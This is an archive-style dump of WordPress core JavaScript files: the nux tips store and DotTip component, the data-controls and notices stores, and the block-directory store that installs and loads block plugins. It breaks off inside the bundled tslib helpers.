(selectors_areTipsEnabled), getAssociatedGuide: () => (getAssociatedGuide), isTipVisible: () => (isTipVisible) }); ;// external ["wp","deprecated"] const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"]; var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject); ;// external ["wp","data"] const external_wp_data_namespaceObject = window["wp"]["data"]; ;// ./node_modules/@wordpress/nux/build-module/store/reducer.js /** * WordPress dependencies */ /** * Reducer that tracks which tips are in a guide. Each guide is represented by * an array which contains the tip identifiers contained within that guide. * * @param {Array} state Current state. * @param {Object} action Dispatched action. * * @return {Array} Updated state. */ function guides(state = [], action) { switch (action.type) { case 'TRIGGER_GUIDE': return [...state, action.tipIds]; } return state; } /** * Reducer that tracks whether or not tips are globally enabled. * * @param {boolean} state Current state. * @param {Object} action Dispatched action. * * @return {boolean} Updated state. */ function areTipsEnabled(state = true, action) { switch (action.type) { case 'DISABLE_TIPS': return false; case 'ENABLE_TIPS': return true; } return state; } /** * Reducer that tracks which tips have been dismissed. If the state object * contains a tip identifier, then that tip is dismissed. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ function dismissedTips(state = {}, action) { switch (action.type) { case 'DISMISS_TIP': return { ...state, [action.id]: true }; case 'ENABLE_TIPS': return {}; } return state; } const preferences = (0,external_wp_data_namespaceObject.combineReducers)({ areTipsEnabled, dismissedTips }); /* harmony default export */ const reducer = ((0,external_wp_data_namespaceObject.combineReducers)({ guides, preferences })); ;// ./node_modules/@wordpress/nux/build-module/store/actions.js /** * Returns an action object that, when dispatched, presents a guide that takes * the user through a series of tips step by step. * * @param {string[]} tipIds Which tips to show in the guide. * * @return {Object} Action object. */ function triggerGuide(tipIds) { return { type: 'TRIGGER_GUIDE', tipIds }; } /** * Returns an action object that, when dispatched, dismisses the given tip. A * dismissed tip will not show again. * * @param {string} id The tip to dismiss. * * @return {Object} Action object. */ function dismissTip(id) { return { type: 'DISMISS_TIP', id }; } /** * Returns an action object that, when dispatched, prevents all tips from * showing again. * * @return {Object} Action object. */ function disableTips() { return { type: 'DISABLE_TIPS' }; } /** * Returns an action object that, when dispatched, makes all tips show again. * * @return {Object} Action object. */ function enableTips() { return { type: 'ENABLE_TIPS' }; } ;// ./node_modules/@wordpress/nux/build-module/store/selectors.js /** * WordPress dependencies */ /** * An object containing information about a guide. * * @typedef {Object} NUXGuideInfo * @property {string[]} tipIds Which tips the guide contains. * @property {?string} currentTipId The guide's currently showing tip. * @property {?string} nextTipId The guide's next tip to show. */ /** * Returns an object describing the guide, if any, that the given tip is a part * of. * * @param {Object} state Global application state. * @param {string} tipId The tip to query. * * @return {?NUXGuideInfo} Information about the associated guide. */ const getAssociatedGuide = (0,external_wp_data_namespaceObject.createSelector)((state, tipId) => { for (const tipIds of state.guides) { if (tipIds.includes(tipId)) { const nonDismissedTips = tipIds.filter(tId => !Object.keys(state.preferences.dismissedTips).includes(tId)); const [currentTipId = null, nextTipId = null] = nonDismissedTips; return { tipIds, currentTipId, nextTipId }; } } return null; }, state => [state.guides, state.preferences.dismissedTips]); /** * Determines whether or not the given tip is showing. Tips are hidden if they * are disabled, have been dismissed, or are not the current tip in any * guide that they have been added to. * * @param {Object} state Global application state. * @param {string} tipId The tip to query. * * @return {boolean} Whether or not the given tip is showing. */ function isTipVisible(state, tipId) { if (!state.preferences.areTipsEnabled) { return false; } if (state.preferences.dismissedTips?.hasOwnProperty(tipId)) { return false; } const associatedGuide = getAssociatedGuide(state, tipId); if (associatedGuide && associatedGuide.currentTipId !== tipId) { return false; } return true; } /** * Returns whether or not tips are globally enabled. * * @param {Object} state Global application state. * * @return {boolean} Whether tips are globally enabled. */ function selectors_areTipsEnabled(state) { return state.preferences.areTipsEnabled; } ;// ./node_modules/@wordpress/nux/build-module/store/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const STORE_NAME = 'core/nux'; /** * Store definition for the nux namespace. * * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore * * @type {Object} */ const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, { reducer: reducer, actions: actions_namespaceObject, selectors: selectors_namespaceObject, persist: ['preferences'] }); // Once we build a more generic persistence plugin that works across types of stores // we'd be able to replace this with a register call. (0,external_wp_data_namespaceObject.registerStore)(STORE_NAME, { reducer: reducer, actions: actions_namespaceObject, selectors: selectors_namespaceObject, persist: ['preferences'] }); ;// external ["wp","compose"] const external_wp_compose_namespaceObject = window["wp"]["compose"]; ;// external ["wp","components"] const external_wp_components_namespaceObject = window["wp"]["components"]; ;// external ["wp","i18n"] const external_wp_i18n_namespaceObject = window["wp"]["i18n"]; ;// external ["wp","element"] const external_wp_element_namespaceObject = window["wp"]["element"]; ;// external ["wp","primitives"] const external_wp_primitives_namespaceObject = window["wp"]["primitives"]; ;// external "ReactJSXRuntime" const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"]; ;// ./node_modules/@wordpress/icons/build-module/library/close.js /** * WordPress dependencies */ const close_close = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z" }) }); /* harmony default export */ const library_close = (close_close); ;// ./node_modules/@wordpress/nux/build-module/components/dot-tip/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function onClick(event) { // Tips are often nested within buttons. We stop propagation so that clicking // on a tip doesn't result in the button being clicked. event.stopPropagation(); } function DotTip({ position = 'middle right', children, isVisible, hasNextTip, onDismiss, onDisable }) { const anchorParent = (0,external_wp_element_namespaceObject.useRef)(null); const onFocusOutsideCallback = (0,external_wp_element_namespaceObject.useCallback)(event => { if (!anchorParent.current) { return; } if (anchorParent.current.contains(event.relatedTarget)) { return; } onDisable(); }, [onDisable, anchorParent]); if (!isVisible) { return null; } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Popover, { className: "nux-dot-tip", position: position, focusOnMount: true, role: "dialog", "aria-label": (0,external_wp_i18n_namespaceObject.__)('Editor tips'), onClick: onClick, onFocusOutside: onFocusOutsideCallback, children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: children }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { __next40pxDefaultSize: true, variant: "link", onClick: onDismiss, children: hasNextTip ? (0,external_wp_i18n_namespaceObject.__)('See next tip') : (0,external_wp_i18n_namespaceObject.__)('Got it') }) }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { size: "small", className: "nux-dot-tip__disable", icon: library_close, label: (0,external_wp_i18n_namespaceObject.__)('Disable tips'), onClick: onDisable })] }); } /* harmony default export */ const dot_tip = ((0,external_wp_compose_namespaceObject.compose)((0,external_wp_data_namespaceObject.withSelect)((select, { tipId }) => { const { isTipVisible, getAssociatedGuide } = select(store); const associatedGuide = getAssociatedGuide(tipId); return { isVisible: isTipVisible(tipId), hasNextTip: !!(associatedGuide && associatedGuide.nextTipId) }; }), (0,external_wp_data_namespaceObject.withDispatch)((dispatch, { tipId }) => { const { dismissTip, disableTips } = dispatch(store); return { onDismiss() { dismissTip(tipId); }, onDisable() { disableTips(); } }; }))(DotTip)); ;// ./node_modules/@wordpress/nux/build-module/index.js /** * WordPress dependencies */ external_wp_deprecated_default()('wp.nux', { since: '5.4', hint: 'wp.components.Guide can be used to show a user guide.', version: '6.2' }); (window.wp = window.wp || {}).nux = __webpack_exports__; /******/ })() ; data-controls.min.js 0000664 00000002700 15061233506 0010440 0 ustar 00 /*! This file is auto-generated */ (()=>{"use strict";var e={n:t=>{var o=t&&t.__esModule?()=>t.default:()=>t;return e.d(o,{a:o}),o},d:(t,o)=>{for(var r in o)e.o(o,r)&&!e.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:o[r]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{__unstableAwaitPromise:()=>p,apiFetch:()=>i,controls:()=>u,dispatch:()=>d,select:()=>a,syncSelect:()=>l});const o=window.wp.apiFetch;var r=e.n(o);const n=window.wp.data,s=window.wp.deprecated;var c=e.n(s);function i(e){return{type:"API_FETCH",request:e}}function a(e,t,...o){return c()("`select` control in `@wordpress/data-controls`",{since:"5.7",alternative:"built-in `resolveSelect` control in `@wordpress/data`"}),n.controls.resolveSelect(e,t,...o)}function l(e,t,...o){return c()("`syncSelect` control in `@wordpress/data-controls`",{since:"5.7",alternative:"built-in `select` control in `@wordpress/data`"}),n.controls.select(e,t,...o)}function d(e,t,...o){return c()("`dispatch` control in `@wordpress/data-controls`",{since:"5.7",alternative:"built-in `dispatch` control in `@wordpress/data`"}),n.controls.dispatch(e,t,...o)}const p=function(e){return{type:"AWAIT_PROMISE",promise:e}},u={AWAIT_PROMISE:({promise:e})=>e,API_FETCH:({request:e})=>r()(e)};(window.wp=window.wp||{}).dataControls=t})(); notices.min.js 0000664 00000004026 15061233506 0007335 0 ustar 00 /*! This file is auto-generated */ (()=>{"use strict";var e={d:(t,n)=>{for(var i in n)e.o(n,i)&&!e.o(t,i)&&Object.defineProperty(t,i,{enumerable:!0,get:n[i]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{store:()=>b});var n={};e.r(n),e.d(n,{createErrorNotice:()=>E,createInfoNotice:()=>f,createNotice:()=>l,createSuccessNotice:()=>d,createWarningNotice:()=>p,removeAllNotices:()=>O,removeNotice:()=>y,removeNotices:()=>N});var i={};e.r(i),e.d(i,{getNotices:()=>_});const r=window.wp.data,o=e=>t=>(n={},i)=>{const r=i[e];if(void 0===r)return n;const o=t(n[r],i);return o===n[r]?n:{...n,[r]:o}},c=o("context")(((e=[],t)=>{switch(t.type){case"CREATE_NOTICE":return[...e.filter((({id:e})=>e!==t.notice.id)),t.notice];case"REMOVE_NOTICE":return e.filter((({id:e})=>e!==t.id));case"REMOVE_NOTICES":return e.filter((({id:e})=>!t.ids.includes(e)));case"REMOVE_ALL_NOTICES":return e.filter((({type:e})=>e!==t.noticeType))}return e})),s="global",u="info";let a=0;function l(e=u,t,n={}){const{speak:i=!0,isDismissible:r=!0,context:o=s,id:c=`${o}${++a}`,actions:l=[],type:d="default",__unstableHTML:f,icon:E=null,explicitDismiss:p=!1,onDismiss:y}=n;return{type:"CREATE_NOTICE",context:o,notice:{id:c,status:e,content:t=String(t),spokenMessage:i?t:null,__unstableHTML:f,isDismissible:r,actions:l,type:d,icon:E,explicitDismiss:p,onDismiss:y}}}function d(e,t){return l("success",e,t)}function f(e,t){return l("info",e,t)}function E(e,t){return l("error",e,t)}function p(e,t){return l("warning",e,t)}function y(e,t=s){return{type:"REMOVE_NOTICE",id:e,context:t}}function O(e="default",t=s){return{type:"REMOVE_ALL_NOTICES",noticeType:e,context:t}}function N(e,t=s){return{type:"REMOVE_NOTICES",ids:e,context:t}}const T=[];function _(e,t=s){return e[t]||T}const b=(0,r.createReduxStore)("core/notices",{reducer:c,actions:n,selectors:i});(0,r.register)(b),(window.wp=window.wp||{}).notices=t})(); block-directory.js 0000664 00000235216 15061233506 0010212 0 ustar 00 /******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ (() => { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = (module) => { /******/ var getter = module && module.__esModule ? /******/ () => (module['default']) : /******/ () => (module); /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { store: () => (/* reexport */ store) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/block-directory/build-module/store/selectors.js var selectors_namespaceObject = {}; __webpack_require__.r(selectors_namespaceObject); __webpack_require__.d(selectors_namespaceObject, { getDownloadableBlocks: () => (getDownloadableBlocks), getErrorNoticeForBlock: () => (getErrorNoticeForBlock), getErrorNotices: () => (getErrorNotices), getInstalledBlockTypes: () => (getInstalledBlockTypes), getNewBlockTypes: () => (getNewBlockTypes), getUnusedBlockTypes: () => (getUnusedBlockTypes), isInstalling: () => (isInstalling), isRequestingDownloadableBlocks: () => (isRequestingDownloadableBlocks) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/block-directory/build-module/store/actions.js var actions_namespaceObject = {}; __webpack_require__.r(actions_namespaceObject); __webpack_require__.d(actions_namespaceObject, { addInstalledBlockType: () => (addInstalledBlockType), clearErrorNotice: () => (clearErrorNotice), fetchDownloadableBlocks: () => (fetchDownloadableBlocks), installBlockType: () => (installBlockType), receiveDownloadableBlocks: () => (receiveDownloadableBlocks), removeInstalledBlockType: () => (removeInstalledBlockType), setErrorNotice: () => (setErrorNotice), setIsInstalling: () => (setIsInstalling), uninstallBlockType: () => (uninstallBlockType) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/block-directory/build-module/store/resolvers.js var resolvers_namespaceObject = {}; __webpack_require__.r(resolvers_namespaceObject); __webpack_require__.d(resolvers_namespaceObject, { getDownloadableBlocks: () => (resolvers_getDownloadableBlocks) }); ;// external ["wp","plugins"] const external_wp_plugins_namespaceObject = window["wp"]["plugins"]; ;// external ["wp","hooks"] const external_wp_hooks_namespaceObject = window["wp"]["hooks"]; ;// external ["wp","blocks"] const external_wp_blocks_namespaceObject = window["wp"]["blocks"]; ;// external ["wp","data"] const external_wp_data_namespaceObject = window["wp"]["data"]; ;// external ["wp","element"] const external_wp_element_namespaceObject = window["wp"]["element"]; ;// external ["wp","editor"] const external_wp_editor_namespaceObject = window["wp"]["editor"]; ;// ./node_modules/@wordpress/block-directory/build-module/store/reducer.js /** * WordPress dependencies */ /** * Reducer returning an array of downloadable blocks. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ const downloadableBlocks = (state = {}, action) => { switch (action.type) { case 'FETCH_DOWNLOADABLE_BLOCKS': return { ...state, [action.filterValue]: { isRequesting: true } }; case 'RECEIVE_DOWNLOADABLE_BLOCKS': return { ...state, [action.filterValue]: { results: action.downloadableBlocks, isRequesting: false } }; } return state; }; /** * Reducer managing the installation and deletion of blocks. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ const blockManagement = (state = { installedBlockTypes: [], isInstalling: {} }, action) => { switch (action.type) { case 'ADD_INSTALLED_BLOCK_TYPE': return { ...state, installedBlockTypes: [...state.installedBlockTypes, action.item] }; case 'REMOVE_INSTALLED_BLOCK_TYPE': return { ...state, installedBlockTypes: state.installedBlockTypes.filter(blockType => blockType.name !== action.item.name) }; case 'SET_INSTALLING_BLOCK': return { ...state, isInstalling: { ...state.isInstalling, [action.blockId]: action.isInstalling } }; } return state; }; /** * Reducer returning an object of error notices. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ const errorNotices = (state = {}, action) => { switch (action.type) { case 'SET_ERROR_NOTICE': return { ...state, [action.blockId]: { message: action.message, isFatal: action.isFatal } }; case 'CLEAR_ERROR_NOTICE': const { [action.blockId]: blockId, ...restState } = state; return restState; } return state; }; /* harmony default export */ const reducer = ((0,external_wp_data_namespaceObject.combineReducers)({ downloadableBlocks, blockManagement, errorNotices })); ;// external ["wp","blockEditor"] const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"]; ;// ./node_modules/@wordpress/block-directory/build-module/store/selectors.js /** * WordPress dependencies */ const EMPTY_ARRAY = []; /** * Returns true if application is requesting for downloadable blocks. * * @param {Object} state Global application state. * @param {string} filterValue Search string. * * @return {boolean} Whether a request is in progress for the blocks list. */ function isRequestingDownloadableBlocks(state, filterValue) { var _state$downloadableBl; return (_state$downloadableBl = state.downloadableBlocks[filterValue]?.isRequesting) !== null && _state$downloadableBl !== void 0 ? _state$downloadableBl : false; } /** * Returns the available uninstalled blocks. * * @param {Object} state Global application state. * @param {string} filterValue Search string. * * @return {Array} Downloadable blocks. */ function getDownloadableBlocks(state, filterValue) { var _state$downloadableBl2; return (_state$downloadableBl2 = state.downloadableBlocks[filterValue]?.results) !== null && _state$downloadableBl2 !== void 0 ? _state$downloadableBl2 : EMPTY_ARRAY; } /** * Returns the block types that have been installed on the server in this * session. * * @param {Object} state Global application state. * * @return {Array} Block type items */ function getInstalledBlockTypes(state) { return state.blockManagement.installedBlockTypes; } /** * Returns block types that have been installed on the server and used in the * current post. * * @param {Object} state Global application state. * * @return {Array} Block type items. */ const getNewBlockTypes = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (0,external_wp_data_namespaceObject.createSelector)(state => { const installedBlockTypes = getInstalledBlockTypes(state); if (!installedBlockTypes.length) { return EMPTY_ARRAY; } const { getBlockName, getClientIdsWithDescendants } = select(external_wp_blockEditor_namespaceObject.store); const installedBlockNames = installedBlockTypes.map(blockType => blockType.name); const foundBlockNames = getClientIdsWithDescendants().flatMap(clientId => { const blockName = getBlockName(clientId); return installedBlockNames.includes(blockName) ? blockName : []; }); const newBlockTypes = installedBlockTypes.filter(blockType => foundBlockNames.includes(blockType.name)); return newBlockTypes.length > 0 ? newBlockTypes : EMPTY_ARRAY; }, state => [getInstalledBlockTypes(state), select(external_wp_blockEditor_namespaceObject.store).getClientIdsWithDescendants()])); /** * Returns the block types that have been installed on the server but are not * used in the current post. * * @param {Object} state Global application state. * * @return {Array} Block type items. */ const getUnusedBlockTypes = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (0,external_wp_data_namespaceObject.createSelector)(state => { const installedBlockTypes = getInstalledBlockTypes(state); if (!installedBlockTypes.length) { return EMPTY_ARRAY; } const { getBlockName, getClientIdsWithDescendants } = select(external_wp_blockEditor_namespaceObject.store); const installedBlockNames = installedBlockTypes.map(blockType => blockType.name); const foundBlockNames = getClientIdsWithDescendants().flatMap(clientId => { const blockName = getBlockName(clientId); return installedBlockNames.includes(blockName) ? blockName : []; }); const unusedBlockTypes = installedBlockTypes.filter(blockType => !foundBlockNames.includes(blockType.name)); return unusedBlockTypes.length > 0 ? unusedBlockTypes : EMPTY_ARRAY; }, state => [getInstalledBlockTypes(state), select(external_wp_blockEditor_namespaceObject.store).getClientIdsWithDescendants()])); /** * Returns true if a block plugin install is in progress. * * @param {Object} state Global application state. * @param {string} blockId Id of the block. * * @return {boolean} Whether this block is currently being installed. */ function isInstalling(state, blockId) { return state.blockManagement.isInstalling[blockId] || false; } /** * Returns all block error notices. * * @param {Object} state Global application state. * * @return {Object} Object with error notices. */ function getErrorNotices(state) { return state.errorNotices; } /** * Returns the error notice for a given block. * * @param {Object} state Global application state. * @param {string} blockId The ID of the block plugin. eg: my-block * * @return {string|boolean} The error text, or false if no error. */ function getErrorNoticeForBlock(state, blockId) { return state.errorNotices[blockId]; } ;// external ["wp","i18n"] const external_wp_i18n_namespaceObject = window["wp"]["i18n"]; ;// external ["wp","apiFetch"] const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"]; var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject); ;// external ["wp","notices"] const external_wp_notices_namespaceObject = window["wp"]["notices"]; ;// external ["wp","url"] const external_wp_url_namespaceObject = window["wp"]["url"]; ;// ./node_modules/@wordpress/block-directory/build-module/store/load-assets.js /** * WordPress dependencies */ /** * Load an asset for a block. * * This function returns a Promise that will resolve once the asset is loaded, * or in the case of Stylesheets and Inline JavaScript, will resolve immediately. * * @param {HTMLElement} el A HTML Element asset to inject. * * @return {Promise} Promise which will resolve when the asset is loaded. */ const loadAsset = el => { return new Promise((resolve, reject) => { /* * Reconstruct the passed element, this is required as inserting the Node directly * won't always fire the required onload events, even if the asset wasn't already loaded. */ const newNode = document.createElement(el.nodeName); ['id', 'rel', 'src', 'href', 'type'].forEach(attr => { if (el[attr]) { newNode[attr] = el[attr]; } }); // Append inline <script> contents. if (el.innerHTML) { newNode.appendChild(document.createTextNode(el.innerHTML)); } newNode.onload = () => resolve(true); newNode.onerror = () => reject(new Error('Error loading asset.')); document.body.appendChild(newNode); // Resolve Stylesheets and Inline JavaScript immediately. if ('link' === newNode.nodeName.toLowerCase() || 'script' === newNode.nodeName.toLowerCase() && !newNode.src) { resolve(); } }); }; /** * Load the asset files for a block */ async function loadAssets() { /* * Fetch the current URL (post-new.php, or post.php?post=1&action=edit) and compare the * JavaScript and CSS assets loaded between the pages. This imports the required assets * for the block into the current page while not requiring that we know them up-front. * In the future this can be improved by reliance upon block.json and/or a script-loader * dependency API. */ const response = await external_wp_apiFetch_default()({ url: document.location.href, parse: false }); const data = await response.text(); const doc = new window.DOMParser().parseFromString(data, 'text/html'); const newAssets = Array.from(doc.querySelectorAll('link[rel="stylesheet"],script')).filter(asset => asset.id && !document.getElementById(asset.id)); /* * Load each asset in order, as they may depend upon an earlier loaded script. * Stylesheets and Inline Scripts will resolve immediately upon insertion. */ for (const newAsset of newAssets) { await loadAsset(newAsset); } } ;// ./node_modules/@wordpress/block-directory/build-module/store/utils/get-plugin-url.js /** * Get the plugin's direct API link out of a block-directory response. * * @param {Object} block The block object * * @return {string} The plugin URL, if exists. */ function getPluginUrl(block) { if (!block) { return false; } const link = block.links['wp:plugin'] || block.links.self; if (link && link.length) { return link[0].href; } return false; } ;// ./node_modules/@wordpress/block-directory/build-module/store/actions.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Returns an action object used in signalling that the downloadable blocks * have been requested and are loading. * * @param {string} filterValue Search string. * * @return {Object} Action object. */ function fetchDownloadableBlocks(filterValue) { return { type: 'FETCH_DOWNLOADABLE_BLOCKS', filterValue }; } /** * Returns an action object used in signalling that the downloadable blocks * have been updated. * * @param {Array} downloadableBlocks Downloadable blocks. * @param {string} filterValue Search string. * * @return {Object} Action object. */ function receiveDownloadableBlocks(downloadableBlocks, filterValue) { return { type: 'RECEIVE_DOWNLOADABLE_BLOCKS', downloadableBlocks, filterValue }; } /** * Action triggered to install a block plugin. * * @param {Object} block The block item returned by search. * * @return {boolean} Whether the block was successfully installed & loaded. */ const installBlockType = block => async ({ registry, dispatch }) => { const { id, name } = block; let success = false; dispatch.clearErrorNotice(id); try { dispatch.setIsInstalling(id, true); // If we have a wp:plugin link, the plugin is installed but inactive. const url = getPluginUrl(block); let links = {}; if (url) { await external_wp_apiFetch_default()({ method: 'PUT', url, data: { status: 'active' } }); } else { const response = await external_wp_apiFetch_default()({ method: 'POST', path: 'wp/v2/plugins', data: { slug: id, status: 'active' } }); // Add the `self` link for newly-installed blocks. links = response._links; } dispatch.addInstalledBlockType({ ...block, links: { ...block.links, ...links } }); // Ensures that the block metadata is propagated to the editor when registered on the server. const metadataFields = ['api_version', 'title', 'category', 'parent', 'icon', 'description', 'keywords', 'attributes', 'provides_context', 'uses_context', 'supports', 'styles', 'example', 'variations']; await external_wp_apiFetch_default()({ path: (0,external_wp_url_namespaceObject.addQueryArgs)(`/wp/v2/block-types/${name}`, { _fields: metadataFields }) }) // Ignore when the block is not registered on the server. .catch(() => {}).then(response => { if (!response) { return; } (0,external_wp_blocks_namespaceObject.unstable__bootstrapServerSideBlockDefinitions)({ [name]: Object.fromEntries(Object.entries(response).filter(([key]) => metadataFields.includes(key))) }); }); await loadAssets(); const registeredBlocks = registry.select(external_wp_blocks_namespaceObject.store).getBlockTypes(); if (!registeredBlocks.some(i => i.name === name)) { throw new Error((0,external_wp_i18n_namespaceObject.__)('Error registering block. Try reloading the page.')); } registry.dispatch(external_wp_notices_namespaceObject.store).createInfoNotice((0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s is the block title. (0,external_wp_i18n_namespaceObject.__)('Block %s installed and added.'), block.title), { speak: true, type: 'snackbar' }); success = true; } catch (error) { let message = error.message || (0,external_wp_i18n_namespaceObject.__)('An error occurred.'); // Errors we throw are fatal. let isFatal = error instanceof Error; // Specific API errors that are fatal. const fatalAPIErrors = { folder_exists: (0,external_wp_i18n_namespaceObject.__)('This block is already installed. Try reloading the page.'), unable_to_connect_to_filesystem: (0,external_wp_i18n_namespaceObject.__)('Error installing block. You can reload the page and try again.') }; if (fatalAPIErrors[error.code]) { isFatal = true; message = fatalAPIErrors[error.code]; } dispatch.setErrorNotice(id, message, isFatal); registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(message, { speak: true, isDismissible: true }); } dispatch.setIsInstalling(id, false); return success; }; /** * Action triggered to uninstall a block plugin. * * @param {Object} block The blockType object. */ const uninstallBlockType = block => async ({ registry, dispatch }) => { try { const url = getPluginUrl(block); await external_wp_apiFetch_default()({ method: 'PUT', url, data: { status: 'inactive' } }); await external_wp_apiFetch_default()({ method: 'DELETE', url }); dispatch.removeInstalledBlockType(block); } catch (error) { registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(error.message || (0,external_wp_i18n_namespaceObject.__)('An error occurred.')); } }; /** * Returns an action object used to add a block type to the "newly installed" * tracking list. * * @param {Object} item The block item with the block id and name. * * @return {Object} Action object. */ function addInstalledBlockType(item) { return { type: 'ADD_INSTALLED_BLOCK_TYPE', item }; } /** * Returns an action object used to remove a block type from the "newly installed" * tracking list. * * @param {string} item The block item with the block id and name. * * @return {Object} Action object. */ function removeInstalledBlockType(item) { return { type: 'REMOVE_INSTALLED_BLOCK_TYPE', item }; } /** * Returns an action object used to indicate install in progress. * * @param {string} blockId * @param {boolean} isInstalling * * @return {Object} Action object. */ function setIsInstalling(blockId, isInstalling) { return { type: 'SET_INSTALLING_BLOCK', blockId, isInstalling }; } /** * Sets an error notice to be displayed to the user for a given block. * * @param {string} blockId The ID of the block plugin. eg: my-block * @param {string} message The message shown in the notice. * @param {boolean} isFatal Whether the user can recover from the error. * * @return {Object} Action object. */ function setErrorNotice(blockId, message, isFatal = false) { return { type: 'SET_ERROR_NOTICE', blockId, message, isFatal }; } /** * Sets the error notice to empty for specific block. * * @param {string} blockId The ID of the block plugin. eg: my-block * * @return {Object} Action object. */ function clearErrorNotice(blockId) { return { type: 'CLEAR_ERROR_NOTICE', blockId }; } ;// ./node_modules/tslib/tslib.es6.mjs /****************************************************************************** Copyright (c) Microsoft Corporation. Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ***************************************************************************** */ /* global Reflect, Promise, SuppressedError, Symbol, Iterator */ var extendStatics = function(d, b) { extendStatics = Object.setPrototypeOf || ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; return extendStatics(d, b); }; function __extends(d, b) { if (typeof b !== "function" && b !== null) throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); extendStatics(d, b); function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); } var __assign = function() { __assign = Object.assign || function __assign(t) { for (var s, i = 1, n = arguments.length; i < n; i++) { s = arguments[i]; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p]; } return t; } return __assign.apply(this, arguments); } function __rest(s, e) { var t = {}; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0) t[p] = s[p]; if (s != null && 